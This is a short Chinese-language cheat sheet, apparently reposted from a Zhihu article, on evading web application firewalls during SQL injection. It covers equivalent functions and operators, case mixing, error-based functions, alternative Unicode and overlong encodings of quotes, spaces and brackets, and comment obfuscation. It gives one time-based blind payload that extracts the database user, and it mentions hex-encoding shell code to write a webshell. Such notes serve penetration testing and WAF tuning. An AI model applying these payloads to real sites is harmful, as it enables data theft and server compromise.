Bypass-绕过
bypass方法知识点
- 等价替换
- 大小写替换
- 不常用函数
- 特殊符号
- 编码
- 注释
等价替换
等价符号
<> 等于 BETWEEN
= 等于 like
等价函数
hex() bin() 等于 ascii()
sleep() 等于 benchmark()
mid()substring() 等于 substr()
@@user 等于 user()
@@version 等于 version()
例子
And ‘1’ like IF(ascii(substr(user(),1,1)) LiKe 113,1,sleep(5))
Substr()截取user()用户名第一位 为r
Ascii(‘r’) 将r 转换成ascii码
If()判断114 Like(=) 113 如果等于值为1如果不等于Sleep(延时)5秒
大小写替换
like 等于 LiKe,Like,LiKE
and 等于 AND,aND,And
不常用函数
一般经常在报错注入中使用,原因是因为waf可能没考虑到这些函数的危害。
floor()
extractvalue()
updatexml()
exp()
特殊符号
+ - @ ! ~
编码
普通的URL编码就不再过多叙述,但是在有些数据传输过程中可以采用双重URL编码测试
Unicode编码
个别特殊符号
单引号
%u0027、%u02b9、%u02bc%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格
%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号
%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号
%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
十六进制编码
在有的情况下通过注入点写shell的时候,我们一般把shell code转换为十六进制,其一因为数据库自动转换,其二是因为可以逃避WAF针对特殊字符拦截。
注释
某些情况下,针对不同的数据库采用不同的注释混淆,也可以bypass
普通注释:/**/、-- 、# ...
内联注释(mysql,maredb):/*!*/
(注)不定期更新方法.....
鸣谢:一夜知安,原帖地址:https://zhuanlan.zhihu.com/p/25724834
还不快抢沙发